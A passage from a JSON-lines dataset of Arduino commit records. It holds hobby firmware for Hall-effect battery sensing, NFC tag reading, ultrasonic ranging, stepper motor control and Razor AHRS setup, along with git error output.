battery voltage - battery connected through even voltage divider of 2*10K\n \/\/oversampling (seems overkill, but doing it anyway)\n long Vcc=0L;\n long hallSensorValue=0L;\n for (int i=0; i < SAMPLES; i++){\n Vcc += readVcc();\n hallSensorValue += analogRead(HALL_SENSOR_ANALOG_PIN); \n delay(10); \n }\n Vcc=Vcc\/SAMPLES; \/\/get average from SAMPLES readings; dont care about truncation\n Serial.println(Vcc);\n \n int batteryPcnt = constrain(map(Vcc,MIN_BATTERY, MAX_BATTERY, 0, 100),0,100); \/\/convert from voltage to percentage; constrain to 0-100 range\n Serial.println(batteryPcnt);\n \/\/always send batteryPcnt; use this as heartbeat\n sendBatteryLevel(batteryPcnt);\n \n hallSensorValue=hallSensorValue\/SAMPLES;\n send(msgHall.set(hallSensorValue, 1));\n Serial.println(hallSensorValue);\n \n sleep(SLEEP_TIME); \/\/power down, defined in MySensorCore.cpp - akin to lowpower.h power down routine\n}\n\nlong readVcc() {\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n #if defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n #elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n #else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #endif \n \n \n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n \n long result = (((InternalReferenceVoltage*1023L) \/ ADC)+5L)\/10L; \n return result; \/\/ Vcc in millivolts\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensors\/HallEffectSensor\/HallEffectSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bd73b5b3c8f95210abfe27d920cb7a925e5c1e7d","subject":"Test code for Testing Jig","message":"Test code for Testing Jig\n\nInitial commit for 64Kb test code only.\n","repos":"enablersg\/usd-fram-shield,enablersg\/usd-fram-shield","old_file":"firmware\/FRAM\/examples\/FRAM-test64n256.ino","new_file":"firmware\/FRAM\/examples\/FRAM-test64n256.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/enablersg\/usd-fram-shield.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cfceb08f556aeb408431b01d9f7ea4db7f66016a","subject":"add analog output for piezo","message":"add analog output for piezo","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ec118c722c8733a5f4f0ca0f0d7a3845c0263488","subject":"Add read an URL in the NTAG213","message":"Add read an URL in the NTAG213\n","repos":"feroda\/play-nao,feroda\/play-nao,feroda\/play-nao,feroda\/play-nao,feroda\/play-nao","old_file":"naochallenge2020\/NAO_LEGGI_URL_Ntag213.ino","new_file":"naochallenge2020\/NAO_LEGGI_URL_Ntag213.ino","new_contents":"\/\/ Initial version: taken from https:\/\/github.com\/miguelbalboa\/rfid\/blob\/268682dc0b1aabc2d285c31f296659981540967f\/examples\/Ntag216_AUTH\/Ntag216_AUTH.ino\n\/\/ Thanks to GARGANTUA from RoboCreators.com & paradoxalabs.com for initial version\n\n\/\/ This version has been written by Luca Ferroni IIS Merloni Miliani\n\/\/ for the NAOCHALLENGE 2020\n\n#include <SPI.h>\n#include <MFRC522.h>\n\n#define RST_PIN 9 \/\/ \n#define SS_PIN 10 \/\/\n\nMFRC522 mfrc522(SS_PIN, RST_PIN); \/\/ Create MFRC522 instance\n\nvoid setup() {\n Serial.begin(9600); \/\/ Initialize serial communications with the PC\n while (!Serial); \/\/ Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4)\n SPI.begin(); \/\/ Init SPI bus\n mfrc522.PCD_Init(); \/\/ Init MFRC522\n Serial.println(F(\"Scan PICC to see UID, type, and data blocks...\"));\n}\n\nvoid loop() {\n \/\/ Reset the loop if no new card present on the sensor\/reader. This saves the entire process when idle.\n if ( ! mfrc522.PICC_IsNewCardPresent()) {\n return;\n }\n\n \/\/ Select one of the cards\n if ( ! mfrc522.PICC_ReadCardSerial()) {\n return;\n }\n\n byte PSWBuff[] = {0xFF, 0xFF, 0xFF, 0xFF}; \/\/32 bit PassWord default FFFFFFFF\n byte pACK[] = {0, 0}; \/\/16 bit PassWord ACK returned by the NFCtag\n\n Serial.print(\"Auth: \");\n Serial.println(mfrc522.PCD_NTAG216_AUTH(&PSWBuff[0], pACK)); \/\/Request Authentification if return STATUS_OK we are good\n\n \/\/Print PassWordACK\n Serial.print(pACK[0], HEX);\n Serial.println(pACK[1], HEX);\n\n byte WBuff[] = {0x00, 0x00, 0x00, 0x04};\n byte RBuff[18];\n\n \/\/mfrc522.PICC_DumpMifareUltralightToSerial(); \/\/This is a modifier dunp just cghange the for cicle to < 232 instead of < 16 in order to see all the pages on NTAG216\n MFRC522::StatusCode status;\n byte byteCount;\n byte buffer[18];\n byte nfc_data[256];\n byte index = 0;\n byte i;\n \/\/ Try the mpages of the original Ultralight. Ultralight C has more pages.\n for (byte page = 0; page < 16; page +=4) { \/\/ Read returns data for 4 pages at a time.\n \/\/ Read pages\n byteCount = sizeof(buffer);\n status = mfrc522.MIFARE_Read(page, buffer, &byteCount);\n if (status != mfrc522.STATUS_OK) {\n Serial.print(F(\"MIFARE_Read() failed: \"));\n Serial.println(mfrc522.GetStatusCodeName(status));\n break;\n }\n\n \/\/Put results in a common array\n for (i=0; i<16; i++) {\n nfc_data[index] = buffer[i];\n index++;\n }\n }\n\n Serial.println(\"-- HO LETTO I DATI NEL TAG RFID NTAG213 --\");\n \/\/TODO: Print URL type, by interpretation of the first byte\n \n for (i=27; i<255; i++) {\n if (nfc_data[i] == 0xFE) \/\/ End of string\n break;\n \n \/\/ Serial.print(nfc_data[i]);\n \/\/ Serial.print(F(\" \")); \/\/ Pad with spaces\n Serial.print((char)nfc_data[i]);\n }\n\n Serial.println();\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'naochallenge2020\/NAO_LEGGI_URL_Ntag213.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3f864e0c486192aa7a0da6b1ea3b80adcc31017a","subject":"Added a new ultrasonic sensor test class","message":"Added a new ultrasonic sensor test class\n\n","repos":"GW-Robotics\/2017-Fire-Fighter,GW-Robotics\/2017-Fire-Fighter,GW-Robotics\/2017-Fire-Fighter","old_file":"arduino\/Better_Ultrasonic_test\/HCSR04Ultrasonic_tutorial.ino","new_file":"arduino\/Better_Ultrasonic_test\/HCSR04Ultrasonic_tutorial.ino","new_contents":"\/* HC-SR04 Sensor\n https:\/\/www.dealextreme.com\/p\/hc-sr04-ultrasonic-sensor-distance-measuring-module-133696\n \n This sketch reads a HC-SR04 ultrasonic rangefinder and returns the\n distance to the closest object in range. To do this, it sends a pulse\n to the sensor to initiate a reading, then listens for a pulse \n to return. The length of the returning pulse is proportional to \n the distance of the object from the sensor.\n \n The circuit:\n * VCC connection of the sensor attached to +5V\n * GND connection of the sensor attached to ground\n * TRIG connection of the sensor attached to digital pin 2\n * ECHO connection of the sensor attached to digital pin 4\n Original code for Ping))) example was created by David A. Mellis\n Adapted for HC-SR04 by Tautvidas Sipavicius\n This example code is in the public domain.\n *\/\n\n\nconst int trigPin = 2;\nconst int echoPin = 4;\n\nvoid setup() {\n \/\/ initialize serial communication:\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/ establish variables for duration of the ping, \n \/\/ and the distance result in inches and centimeters:\n long duration, inches, cm;\n\n \/\/ The sensor is triggered by a HIGH pulse of 10 or more microseconds.\n \/\/ Give a short LOW pulse beforehand to ensure a clean HIGH pulse:\n pinMode(trigPin, OUTPUT);\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n\n \/\/ Read the signal from the sensor: a HIGH pulse whose\n \/\/ duration is the time (in microseconds) from the sending\n \/\/ of the ping to the reception of its echo off of an object.\n pinMode(echoPin, INPUT);\n duration = pulseIn(echoPin, HIGH);\n\n \/\/ convert the time into a distance\n inches = microsecondsToInches(duration);\n cm = microsecondsToCentimeters(duration);\n \n Serial.print(inches);\n Serial.print(\"in, \");\n Serial.print(cm);\n Serial.print(\"cm\");\n Serial.println();\n \n delay(100);\n}\n\nlong microsecondsToInches(long microseconds)\n{\n \/\/ According to Parallax's datasheet for the PING))), there are\n \/\/ 73.746 microseconds per inch (i.e. sound travels at 1130 feet per\n \/\/ second). This gives the distance travelled by the ping, outbound\n \/\/ and return, so we divide by 2 to get the distance of the obstacle.\n \/\/ See: http:\/\/www.parallax.com\/dl\/docs\/prod\/acc\/28015-PING-v1.3.pdf\n return microseconds \/ 74 \/ 2;\n}\n\nlong microsecondsToCentimeters(long microseconds)\n{\n \/\/ The speed of sound is 340 m\/s or 29 microseconds per centimeter.\n \/\/ The ping travels out and back, so to find the distance of the\n \/\/ object we take half of the distance travelled.\n return microseconds \/ 29 \/ 2;\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Better_Ultrasonic_test\/HCSR04Ultrasonic_tutorial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"73c3e966bfc6e059a7cf52ee0f6b48c9355a6f4f","subject":"ok, and we need to check if all motors reached their target \u2026","message":"ok, and we need to check if all motors reached their target \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"75e4b8c900ea034af63c0f4a721f8e7304512631","subject":"Delete WiFi.ino","message":"Delete WiFi.ino","repos":"matthewpruett\/ece2881","old_file":"Arduino\/WiFi.ino","new_file":"Arduino\/WiFi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/matthewpruett\/ece2881.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0240f77ddcb54de3ff0fc116a5a2e65f8ddca22a","subject":"Adding a test file for the compass telemetry module.","message":"Adding a test file for the compass telemetry module.\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"compass.ino","new_file":"compass.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bfa63b1649c1196c87ec15e8a840e74d14a33a32","subject":"Create .ino","message":"Create .ino","repos":"kenyan2000\/T1A11-RangeFinder-Kenyan","old_file":".ino","new_file":".ino","new_contents":"\/\/T1A11-Range-Finder-Name.ino\n\n\/\/ EXAMPLE\n\/\/using Ultrasonic Range Finder from Robotshop\n\/\/http:\/\/www.robotshop.com\/ca\/en\/hc-sr04-ultrasonic-range-finder.html\n\nunsigned long duration;\n\nvoid setup()\n{\n\n pinMode(D7, OUTPUT); \/\/ LED on D7\n pinMode(D1, OUTPUT); \/\/ Other LED connected from D1 through resistor to ground\n \n \/\/ ultrasonic range finder Robotshop RB-lte-54\n \n \/\/ GND pin goes to ground\n pinMode(D6, INPUT); \/\/ echo\n pinMode(D2, OUTPUT); \/\/ Trig\n \/\/ VCC pin goes to VIN on the photon\n \n}\n\nvoid loop(){\n \n delay(10); \/\/ even cicuits need a break\n digitalWrite(D2, HIGH); \/\/ activate trigger\n delayMicroseconds(10);\n digitalWrite(D2, LOW); \/\/ de-activate trigger\n\n duration = pulseIn(D6, HIGH); \/\/ how long until a reply?\n \/\/ a blocking call so may wait a few seconds\n \n if (duration > 2000 ){ \/\/ raw data from 200 to 16000 \n \/\/ where 2000 raw = ~35cm, 4000 raw = ~80cm \n digitalWrite(D7, HIGH); \/\/ D7 Blue LED on if far\n digitalWrite(D1, LOW); \/\/ Other LED off\n } else {\n digitalWrite(D7, LOW); \/\/ D7 Blue LED off\n digitalWrite(D1, HIGH); \/\/ Other LED on if Close\n\n } \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec '.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3f49f4ea1386b8b52c5354ac2f090c493e9fa398","subject":"Add non-blocking example (#26)","message":"Add non-blocking example (#26)\n","repos":"laurb9\/StepperDriver","old_file":"examples\/NonBlocking\/NonBlocking.ino","new_file":"examples\/NonBlocking\/NonBlocking.ino","new_contents":"\/*\n * Example for using non-blocking mode to move until condition\n *\n * Copyright (C)2015-2017 Laurentiu Badea\n *\n * This file may be redistributed under the terms of the MIT license.\n * A copy of this license has been included with this distribution in the file LICENSE.\n *\/\n#include <Arduino.h>\n\n\/\/ Motor steps per revolution. Most steppers are 200 steps or 1.8 degrees\/step\n#define MOTOR_STEPS 200\n\/\/ Microstepping mode. If you hardwired it to save pins, set to the same value here.\n#define MICROSTEPS 16\n\n#define DIR 8\n#define STEP 9\n#define ENABLE 7 \/\/ optional (just delete ENABLE from everywhere if not used)\n\n\/\/ Choose the section below matching your board\n\n\/\/ #include \"BasicStepperDriver.h\"\n\/\/ 2-wire basic config, microstepping is hardwired on the driver\n\/\/ BasicStepperDriver stepper(DIR, STEP);\n\n#include \"DRV8834.h\"\n#define M0 10\n#define M1 11\nDRV8834 stepper(MOTOR_STEPS, DIR, STEP, ENABLE, M0, M1);\n\n\/\/#include \"A4988.h\"\n\/\/ #define MS1 10\n\/\/ #define MS2 11\n\/\/ #define MS3 12\n\/\/ A4988 stepper(MOTOR_STEPS, DIR, STEP, ENABLE, MS1, MS2, MS3);\n\n\/\/ #include \"DRV8825.h\"\n\/\/ #define MODE0 10\n\/\/ #define MODE1 11\n\/\/ #define MODE2 12\n\/\/ DRV8825 stepper(MOTOR_STEPS, DIR, STEP, ENABLE, MODE0, MODE1, MODE2);\n\n\/\/ this pin should connect to Ground when want to stop the motor\n#define STOPPER_PIN 4\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ Configure stopper pin to read HIGH unless grounded\n pinMode(STOPPER_PIN, INPUT_PULLUP);\n\n stepper.begin(120, MICROSTEPS);\n stepper.enable();\n\n Serial.println(\"START\");\n\n \/\/ set the motor to move continuously for a reasonable time to hit the stopper\n stepper.startMove(20000); \/\/ 20000 full steps = 100 full rotations\n \/\/ stepper.startRotate(36000); \/\/ 36000 degrees = 100 rotations\n}\n\nvoid loop() {\n \/\/ first, check if stopper was hit\n if (digitalRead(STOPPER_PIN) == LOW){\n Serial.println(\"STOPPER REACHED\");\n \/*\n * In constant speed mode, startBrake() is an immediate stop but in accelerated modes\n * the motor will go a little past the stopper while braking. For immediate stop\n * we can just stop calling nextAction()\n *\/\n stepper.startBrake();\n }\n\n \/\/ motor control loop - send pulse and return how long to wait until next pulse\n unsigned wait_time_micros = stepper.nextAction();\n\n \/\/ 0 wait time indicates the motor has stopped\n if (wait_time_micros <= 0) {\n stepper.disable(); \/\/ comment out to keep motor powered\n delay(3600000);\n }\n\n \/\/ (optional) execute other code if we have enough time\n if (wait_time_micros > 100){\n \/\/ other code here\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/NonBlocking\/NonBlocking.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b9be76e21b51a49c3f4f224d17d6d0aa6e20f930","subject":"Module pince : anglex2","message":"Module pince : anglex2\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"272a3dab191aff5af9e6be21e9617764dda503af","subject":"Create Razor_AHRS.ino","message":"Create Razor_AHRS.ino\n\ncalibrated","repos":"DJTobias\/CAR,DJTobias\/CAR,DJTobias\/Cherry-Autonomous-Racecar,DJTobias\/Cherry-Autonomous-Racecar","old_file":"Arduino\/Razor_AHRS.ino","new_file":"Arduino\/Razor_AHRS.ino","new_contents":"\/***************************************************************************************************************\n* Razor AHRS Firmware v1.4.2.2\n* 9 Degree of Measurement Attitude and Heading Reference System\n* for Sparkfun \"9DOF Razor IMU\" (SEN-10125 and SEN-10736)\n* and \"9DOF Sensor Stick\" (SEN-10183, 10321 and SEN-10724)\n*\n* Released under GNU GPL (General Public License) v3.0\n* Copyright (C) 2013 Peter Bartz [http:\/\/ptrbrtz.net]\n* Copyright (C) 2011-2012 Quality & Usability Lab, Deutsche Telekom Laboratories, TU Berlin\n*\n* Infos, updates, bug reports, contributions and feedback:\n* https:\/\/github.com\/ptrbrtz\/razor-9dof-ahrs\n*\n*\n* History:\n* * Original code (http:\/\/code.google.com\/p\/sf9domahrs\/) by Doug Weibel and Jose Julio,\n* based on ArduIMU v1.5 by Jordi Munoz and William Premerlani, Jose Julio and Doug Weibel. Thank you!\n*\n* * Updated code (http:\/\/groups.google.com\/group\/sf_9dof_ahrs_update) by David Malik (david.zsolt.malik@gmail.com)\n* for new Sparkfun 9DOF Razor hardware (SEN-10125).\n*\n* * Updated and extended by Peter Bartz (peter-bartz@gmx.de):\n* * v1.3.0\n* * Cleaned up, streamlined and restructured most of the code to make it more comprehensible.\n* * Added sensor calibration (improves precision and responsiveness a lot!).\n* * Added binary yaw\/pitch\/roll output.\n* * Added basic serial command interface to set output modes\/calibrate sensors\/synch stream\/etc.\n* * Added support to synch automatically when using Rovering Networks Bluetooth modules (and compatible).\n* * Wrote new easier to use test program (using Processing).\n* * Added support for new version of \"9DOF Razor IMU\": SEN-10736.\n* --> The output of this code is not compatible with the older versions!\n* --> A Processing sketch to test the tracker is available.\n* * v1.3.1\n* * Initializing rotation matrix based on start-up sensor readings -> orientation OK right away.\n* * Adjusted gyro low-pass filter and output rate settings.\n* * v1.3.2\n* * Adapted code to work with new Arduino 1.0 (and older versions still).\n* * v1.3.3\n* * Improved synching.\n* * v1.4.0\n* * Added support for SparkFun \"9DOF Sensor Stick\" (versions SEN-10183, SEN-10321 and SEN-10724).\n* * v1.4.1\n* * Added output modes to read raw and\/or calibrated sensor data in text or binary format.\n* * Added static magnetometer soft iron distortion compensation\n* * v1.4.2\n* * (No core firmware changes)\n* * v1.4.2.1\n* * New output mode to support ROS Imu use emits YPR + accel + rot. vel.\n* * v1.4.2.2\n* * New input mode to set calibration parameters\n*\n* TODOs:\n* * Allow optional use of EEPROM for storing and reading calibration values.\n* * Use self-test and temperature-compensation features of the sensors.\n***************************************************************************************************************\/\n\n\/*\n \"9DOF Razor IMU\" hardware versions: SEN-10125 and SEN-10736\n\n ATMega328@3.3V, 8MHz\n\n ADXL345 : Accelerometer\n HMC5843 : Magnetometer on SEN-10125\n HMC5883L : Magnetometer on SEN-10736\n ITG-3200 : Gyro\n\n Arduino IDE : Select board \"Arduino Pro or Pro Mini (3.3v, 8Mhz) w\/ATmega328\"\n*\/\n\n\/*\n \"9DOF Sensor Stick\" hardware versions: SEN-10183, SEN-10321 and SEN-10724\n\n ADXL345 : Accelerometer\n HMC5843 : Magnetometer on SEN-10183 and SEN-10321\n HMC5883L : Magnetometer on SEN-10724\n ITG-3200 : Gyro\n*\/\n\n\/*\n Axis definition (differs from definition printed on the board!):\n X axis pointing forward (towards the short edge with the connector holes)\n Y axis pointing to the right\n and Z axis pointing down.\n \n Positive yaw : clockwise\n Positive roll : right wing down\n Positive pitch : nose up\n \n Transformation order: first yaw then pitch then roll.\n*\/\n\n\/*\n Serial commands that the firmware understands:\n \n \"#c<params>\" - SET _c_alibration parameters. The available options are:\n [a|m|g|c|t] _a_ccelerometer, _m_agnetometer, _g_yro, magnetometerellipsoid_c_enter, magnetometerellipsoid_t_ransform\n [x|y|z] x,y or z \n [m|M|X|Y|Z] _m_in or _M_ax (accel or magnetometer), X, Y, or Z of transform (magnetometerellipsoid_t_ransform)\n\n \"#p\" - PRINT current calibration values\n\n \"#o<params>\" - Set OUTPUT mode and parameters. The available options are:\n \n \/\/ Streaming output\n \"#o0\" - DISABLE continuous streaming output. Also see #f below.\n \"#o1\" - ENABLE continuous streaming output.\n \n \/\/ Angles output\n \"#ob\" - Output angles in BINARY format (yaw\/pitch\/roll as binary float, so one output frame\n is 3x4 = 12 bytes long).\n \"#ot\" - Output angles in TEXT format (Output frames have form like \"#YPR=-142.28,-5.38,33.52\",\n followed by carriage return and line feed [\\r\\n]).\n \"#ox\" - Output angles and linear acceleration and rotational\n velocity. Angles are in degrees, acceleration is\n in units of 1.0 = 1\/256 G (9.8\/256 m\/s^2). Rotational\n velocity is in rad\/s^2. (Output frames have form like\n \"#YPRAG=-142.28,-5.38,33.52,0.1,0.1,1.0,0.01,0.01,0.01\",\n followed by carriage return and line feed [\\r\\n]).\n \/\/ Sensor calibration\n \"#oc\" - Go to CALIBRATION output mode.\n \"#on\" - When in calibration mode, go on to calibrate NEXT sensor.\n \n \/\/ Sensor data output\n \"#osct\" - Output CALIBRATED SENSOR data of all 9 axes in TEXT format.\n One frame consist of three lines - one for each sensor: acc, mag, gyr.\n \"#osrt\" - Output RAW SENSOR data of all 9 axes in TEXT format.\n One frame consist of three lines - one for each sensor: acc, mag, gyr.\n \"#osbt\" - Output BOTH raw and calibrated SENSOR data of all 9 axes in TEXT format.\n One frame consist of six lines - like #osrt and #osct combined (first RAW, then CALIBRATED).\n NOTE: This is a lot of number-to-text conversion work for the little 8MHz chip on the Razor boards.\n In fact it's too much and an output frame rate of 50Hz can not be maintained. #osbb.\n \"#oscb\" - Output CALIBRATED SENSOR data of all 9 axes in BINARY format.\n One frame consist of three 3x3 float values = 36 bytes. Order is: acc x\/y\/z, mag x\/y\/z, gyr x\/y\/z.\n \"#osrb\" - Output RAW SENSOR data of all 9 axes in BINARY format.\n One frame consist of three 3x3 float values = 36 bytes. Order is: acc x\/y\/z, mag x\/y\/z, gyr x\/y\/z.\n \"#osbb\" - Output BOTH raw and calibrated SENSOR data of all 9 axes in BINARY format.\n One frame consist of 2x36 = 72 bytes - like #osrb and #oscb combined (first RAW, then CALIBRATED).\n \n \/\/ Error message output \n \"#oe0\" - Disable ERROR message output.\n \"#oe1\" - Enable ERROR message output.\n \n \n \"#f\" - Request one output frame - useful when continuous output is disabled and updates are\n required in larger intervals only. Though #f only requests one reply, replies are still\n bound to the internal 20ms (50Hz) time raster. So worst case delay that #f can add is 19.99ms.\n \n \n \"#s<xy>\" - Request synch token - useful to find out where the frame boundaries are in a continuous\n binary stream or to see if tracker is present and answering. The tracker will send\n \"#SYNCH<xy>\\r\\n\" in response (so it's possible to read using a readLine() function).\n x and y are two mandatory but arbitrary bytes that can be used to find out which request\n the answer belongs to.\n \n \n (\"#C\" and \"#D\" - Reserved for communication with optional Bluetooth module.)\n \n Newline characters are not required. So you could send \"#ob#o1#s\", which\n would set binary output mode, enable continuous streaming output and request\n a synch token all at once.\n \n The status LED will be on if streaming output is enabled and off otherwise.\n \n Byte order of binary output is little-endian: least significant byte comes first.\n*\/\n\n\n\n\/*****************************************************************\/\n\/*********** USER SETUP AREA! Set your options here! *************\/\n\/*****************************************************************\/\n\n\/\/ HARDWARE OPTIONS\n\/*****************************************************************\/\n\/\/ Select your hardware here by uncommenting one line!\n\/\/#define HW__VERSION_CODE 10125 \/\/ SparkFun \"9DOF Razor IMU\" version \"SEN-10125\" (HMC5843 magnetometer)\n#define HW__VERSION_CODE 10736 \/\/ SparkFun \"9DOF Razor IMU\" version \"SEN-10736\" (HMC5883L magnetometer)\n\/\/#define HW__VERSION_CODE 10183 \/\/ SparkFun \"9DOF Sensor Stick\" version \"SEN-10183\" (HMC5843 magnetometer)\n\/\/#define HW__VERSION_CODE 10321 \/\/ SparkFun \"9DOF Sensor Stick\" version \"SEN-10321\" (HMC5843 magnetometer)\n\/\/#define HW__VERSION_CODE 10724 \/\/ SparkFun \"9DOF Sensor Stick\" version \"SEN-10724\" (HMC5883L magnetometer)\n\n\n\/\/ OUTPUT OPTIONS\n\/*****************************************************************\/\n\/\/ Set your serial port baud rate used to send out data here!\n#define OUTPUT__BAUD_RATE 57600\n\n\/\/ Sensor data output interval in milliseconds\n\/\/ This may not work, if faster than 20ms (=50Hz)\n\/\/ Code is tuned for 20ms, so better leave it like that\n#define OUTPUT__DATA_INTERVAL 20 \/\/ in milliseconds\n\n\/\/ Output mode definitions (do not change)\n#define OUTPUT__MODE_CALIBRATE_SENSORS 0 \/\/ Outputs sensor min\/max values as text for manual calibration\n#define OUTPUT__MODE_ANGLES 1 \/\/ Outputs yaw\/pitch\/roll in degrees\n#define OUTPUT__MODE_SENSORS_CALIB 2 \/\/ Outputs calibrated sensor values for all 9 axes\n#define OUTPUT__MODE_SENSORS_RAW 3 \/\/ Outputs raw (uncalibrated) sensor values for all 9 axes\n#define OUTPUT__MODE_SENSORS_BOTH 4 \/\/ Outputs calibrated AND raw sensor values for all 9 axes\n#define OUTPUT__MODE_ANGLES_AG_SENSORS 5 \/\/ Outputs yaw\/pitch\/roll in degrees + linear accel + rot. vel\n\/\/ Output format definitions (do not change)\n#define OUTPUT__FORMAT_TEXT 0 \/\/ Outputs data as text\n#define OUTPUT__FORMAT_BINARY 1 \/\/ Outputs data as binary float\n\n\/\/ Select your startup output mode and format here!\nint output_mode = OUTPUT__MODE_ANGLES;\nint output_format = OUTPUT__FORMAT_TEXT;\n\n\/\/ Select if serial continuous streaming output is enabled per default on startup.\n#define OUTPUT__STARTUP_STREAM_ON true \/\/ true or false\n\n\/\/ If set true, an error message will be output if we fail to read sensor data.\n\/\/ Message format: \"!ERR: reading <sensor>\", followed by \"\\r\\n\".\nboolean output_errors = false; \/\/ true or false\n\n\/\/ Bluetooth\n\/\/ You can set this to true, if you have a Rovering Networks Bluetooth Module attached.\n\/\/ The connect\/disconnect message prefix of the module has to be set to \"#\".\n\/\/ (Refer to manual, it can be set like this: SO,#)\n\/\/ When using this, streaming output will only be enabled as long as we're connected. That way\n\/\/ receiver and sender are synchronzed easily just by connecting\/disconnecting.\n\/\/ It is not necessary to set this! It just makes life easier when writing code for\n\/\/ the receiving side. The Processing test sketch also works without setting this.\n\/\/ NOTE: When using this, OUTPUT__STARTUP_STREAM_ON has no effect!\n#define OUTPUT__HAS_RN_BLUETOOTH false \/\/ true or false\n\n\n\/\/ SENSOR CALIBRATION\n\/*****************************************************************\/\n\/\/ How to calibrate? Read the tutorial at http:\/\/dev.qu.tu-berlin.de\/projects\/sf-razor-9dof-ahrs\n\/\/ Put MIN\/MAX and OFFSET readings for your board here!\n\/\/ Accelerometer\n\/\/ \"accel x,y,z (min\/max) = X_MIN\/X_MAX Y_MIN\/Y_MAX Z_MIN\/Z_MAX\"\nfloat ACCEL_X_MIN = -284;\nfloat ACCEL_X_MAX = 272;\nfloat ACCEL_Y_MIN = -272;\nfloat ACCEL_Y_MAX = 280;\nfloat ACCEL_Z_MIN = -200;\nfloat ACCEL_Z_MAX = 266;\n\n\/\/ Magnetometer (standard calibration mode)\n\/\/ \"magn x,y,z (min\/max) = X_MIN\/X_MAX Y_MIN\/Y_MAX Z_MIN\/Z_MAX\"\nfloat MAGN_X_MIN = -600;\nfloat MAGN_X_MAX = 600;\nfloat MAGN_Y_MIN = -600;\nfloat MAGN_Y_MAX = 600;\nfloat MAGN_Z_MIN = -600;\nfloat MAGN_Z_MAX = 600;\n\n\/\/ Magnetometer (extended calibration mode)\n\/\/ Set to true to use extended magnetometer calibration (compensates hard & soft iron errors)\nboolean CALIBRATION__MAGN_USE_EXTENDED = false;\nfloat magn_ellipsoid_center[3] 